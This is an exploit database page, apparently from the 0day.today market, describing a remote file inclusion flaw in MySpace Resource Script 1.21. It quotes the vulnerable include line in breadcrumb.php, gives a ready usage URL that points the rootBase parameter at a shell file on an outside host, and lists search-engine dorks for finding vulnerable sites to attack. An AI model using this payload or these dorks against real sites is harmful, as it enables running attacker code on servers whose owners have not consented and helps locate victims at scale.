[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

MySpace Resource Script (MSRS) 1.21 RFI Vulnerability

Author
r00t
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-2255
Category
web applications
Date add
29-10-2007
Platform
unsorted
=====================================================
MySpace Resource Script (MSRS) 1.21 RFI Vulnerability
=====================================================



MSRS v.1.21 Remote File Inclusion

Author Site : http://www.myspacepros.com/

POC :

/_theme/breadcrumb.php Line No. 3

<?php include($rootBase . '/_inc/breadcrumb.php'); ?>

Usage : http://site.com/_theme/breadcrumb.php?rootBase=http://domain.com/shell.txt?

D0rks :

inurl:/Generators/Layout_Generator
"!new Female Celebrities"
inurl:/Generators/Scrollbar_Colors



#  0day.today [2024-10-05]  #